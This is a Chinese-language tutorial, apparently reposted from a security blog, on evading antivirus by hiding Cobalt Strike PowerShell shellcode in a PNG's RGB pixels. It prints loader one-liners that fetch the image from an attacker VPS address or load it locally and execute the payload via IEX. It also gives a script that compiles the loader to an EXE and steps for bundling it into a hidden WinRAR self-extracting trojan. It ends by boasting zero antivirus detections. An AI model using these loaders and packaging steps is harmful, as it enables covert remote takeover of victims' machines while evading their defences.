天天看點

2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

前言

本篇文章将示範利用隐寫術将 Shellcode 隐寫入 PNG 圖檔 RGB 像素中,進而隐藏後門代碼,并進行遠端加載控制目标主機。

實戰示範

需要使用 Invoke-PSImage 工具:

•項目位址:https://github.com/peewpw/Invoke-PSImage

首先使用 Cobalt Strike 生成 Powershell 類型(.ps1)的

2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921133427498

然後将剛才生成的 payload.ps1 檔案放在 Invoke-PSImage 項目内,再準備一張圖檔用于生成一張帶有 Shellcode 的圖檔,二者與 Invoke-PSImage.ps1 檔案在同一目錄:

2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921162356384

遠端加載

執行以下指令即可生成一個帶有 Shellcode 的圖檔 shell.png:

# 設定執行政策              Set-ExecutionPolicy Unrestricted -Scope CurrentUser              # 導入 Invoke-PSimage.ps1 檔案              Import-Module .\Invoke-PSimage.ps1              # 生成帶有 Shellcode 的圖檔              Invoke-PSImage -Script .\payload.ps1 -Image .\origin.jpg -Out .\shell.png -Web
           
2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921162516197

執行之後得到一串代碼:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/shell.png"));$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))
           

并且會得到帶有 Shellcode 的圖檔 shell.png:

2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921162640820

接着,我們在自己的 VPS 上開啟一個 Web 服務,用于托管得到的 shell.png:

2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921135950506

然後将上面得到的代碼中的 

http://example.com/shell.png

 改為我們自己的 Web 服務位址:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://47.101.57.72/shell.png"));$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))
           

在目标主機上執行這段代碼後目标機成功上線:

2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921163837141

我們還可以将上面那段加載的指令編譯生成可執行檔案,這裡我們直接使用網上找的腳本進行編譯:

•Convert-PS1ToExe.ps1

function Convert-PS1ToExe              {              param(              [Parameter(Mandatory=$true)]              [ValidateScript({$true})]              [ValidateNotNullOrEmpty()]                 [IO.FileInfo]$ScriptFile              )              if( -not $ScriptFile.Exists)              {              Write-Warning "$ScriptFile not exits."              return              }                  [string]$csharpCode = @'              using System;              using System.IO;              using System.Reflection;              using System.Diagnostics;              namespace LoadXmlTestConsole              {              public class ConsoleWriter              {              private static void Proc_OutputDataReceived(object sender, System.Diagnostics.DataReceivedEventArgs e)              {              Process pro = sender as Process;              Console.WriteLine(e.Data);              }              static void Main(string[] args)              {              // Set title of console              Console.Title = "Powered by PSTips.Net";                  // read script from resource              Assembly ase = Assembly.GetExecutingAssembly();              string scriptName = ase.GetManifestResourceNames()[0];              string scriptContent = string.Empty;              using (Stream stream = ase.GetManifestResourceStream(scriptName))              using (StreamReader reader = new StreamReader(stream))              {              scriptContent = reader.ReadToEnd();              }                  string scriptFile = Environment.ExpandEnvironmentVariables(string.Format("%temp%\\{0}", scriptName));              try              {              // output script file to temp path              File.WriteAllText(scriptFile, scriptContent);                  ProcessStartInfo proInfo = new ProcessStartInfo();              proInfo.FileName = "PowerShell.exe";              proInfo.CreateNoWindow = true;              proInfo.RedirectStandardOutput = true;              proInfo.UseShellExecute = false;              proInfo.Arguments = string.Format(" -File {0}",scriptFile);                  var proc = Process.Start(proInfo);              proc.OutputDataReceived += Proc_OutputDataReceived;              proc.BeginOutputReadLine();              proc.WaitForExit();              Console.WriteLine("Hit any key to continue...");              Console.ReadKey();              }              catch (Exception ex)              {              Console.WriteLine("Hit Exception: {0}", ex.Message);              }              finally              {              // delete temp file              if (File.Exists(scriptFile))              {              File.Delete(scriptFile);              }              }                  }                  }              }              '@                  # $providerDict              $providerDict = New-Object 'System.Collections.Generic.Dictionary[[string],[string]]'              $providerDict.Add('CompilerVersion','v4.0')              $codeCompiler = [Microsoft.CSharp.CSharpCodeProvider]$providerDict                  # Create the optional compiler parameters              $compilerParameters = New-Object 'System.CodeDom.Compiler.CompilerParameters'              $compilerParameters.GenerateExecutable = $true              $compilerParameters.GenerateInMemory = $true              $compilerParameters.WarningLevel = 3              $compilerParameters.TreatWarningsAsErrors = $false              $compilerParameters.CompilerOptions = '/optimize'              $outputExe = Join-Path $ScriptFile.Directory "$($ScriptFile.BaseName).exe"              $compilerParameters.OutputAssembly =  $outputExe              $compilerParameters.EmbeddedResources.Add($ScriptFile.FullName) > $null              $compilerParameters.ReferencedAssemblies.Add( [System.Diagnostics.Process].Assembly.Location ) > $null                  # Compile Assembly              $compilerResult = $codeCompiler.CompileAssemblyFromSource($compilerParameters,$csharpCode)                  # Print compiler errors              if($compilerResult.Errors.HasErrors)              {              Write-Host 'Compile faield. See error message as below:' -ForegroundColor Red              $compilerResult.Errors | foreach {              Write-Warning ('{0},[{1},{2}],{3}' -f $_.ErrorNumber,$_.Line,$_.Column,$_.ErrorText )              }              }              else              {              Write-Host 'Compile succeed.' -ForegroundColor Green              "Output executable file to '$outputExe'"              }              }
           

首先将那段用于加載 Shellcode 的指令寫入檔案 Loader.ps1 中:

2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921171459111

然後執行以下指令,使用 Convert-PS1ToExe.ps1 将 Loader.ps1 編譯成 EXE:

Import-Module .\Convert-PS1ToExe.ps1              Convert-PS1ToExe -ScriptFile .\Loader.ps1
           
2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921171759257

将生成的 exe.jpg 上傳到目标主機并執行:

2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921172516131

如上圖所示,目标機成功上線。美中不足的是有個彈窗。

使用遠端加載固然友善,但是由于生成的圖檔非常大,遠端加載所耗的時間較長,是以我們可以盡可能的本地加載。

本地加載

執行以下指令即可生成一個帶有 Shellcode 的圖檔 shell.png:

# 設定執行政策              Set-ExecutionPolicy Unrestricted -Scope CurrentUser              # 導入 Invoke-PSimage.ps1 檔案              Import-Module .\Invoke-PSimage.ps1              # 生成帶有 Shellcode 的圖檔              Invoke-PSImage -Script .\payload.ps1 -Image .\origin.jpg -Out .\shell.png
           
2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921164514521

如上圖所示,生成了包含 Shellcode 的圖檔 shell.png 與加載 Shellcode 使用的代碼:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap(".\shell.png");$o=a Byte[] 5120;(0..1)|%{foreach($x in(0..2559)){$p=$g.GetPixel($x,$_);$o[$_*2560+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3550]))
           

執行上面的指令,在本地加載圖檔裡的 Shellcode:

2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921165619277

如上圖所示,成功上線。

下面,我們将這種本地加載中的加載指令也用之前的方式編譯成可執行檔案:

2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921172946177

2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921173310693

此時執行 Loader.exe 便可以加載 shell.png 中的 Shellcode,但二者必須在同一目錄下。為了友善,我們還需要完善一下。

這裡我們參考使用 WinRAR 自解壓捆綁木馬的思路,将 shell.png 和 Loader.exe 壓縮在一起,并設定成自解壓格式,那麼當使用者運作時,二者便會被解壓到相同的目錄并自動執行 Loader.exe。

首先,選中這兩個檔案,滑鼠右鍵,将這兩個檔案添加到壓縮檔案。點選 “建立自解壓格式壓縮檔案”,此時rar就會變成 exe 字尾的檔案:

2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921174134274

2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921174438232

然後點選“進階”—>“自解壓檔案選項”—>“正常”:

2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921174516416

設定解壓後檔案的存儲路徑為 

C:\WINDOWS\Temp

2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921174653293

然後,進入“安裝”(有的版本也叫“設定”),填入解壓完成後需要執行的程式:

2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921174800415

然後,進入“模式”,選擇模式為“全部隐藏”:

2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921174837149

然後,進入“更新”,将更新方式設定為“解壓并更新檔案”,覆寫方式設定為“覆寫所有檔案”:

2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921174937701

最後點選确定,即可生成一個 Desktop.exe 的檔案:

2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921175013158

運作 Desktop.exe 即可成功上線:

2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921175436599

免殺測試

将生成的 shell.png 扔到 virustotal 上面去測試,清除率為 0/57:

2021-09-26免殺(轉自hack)|利用RGB隐寫隐藏Shellcodehttps://mp.weixin.qq.com/s/X5jyqaEEoSQGRWwoBq2YwA

image-20210921181509806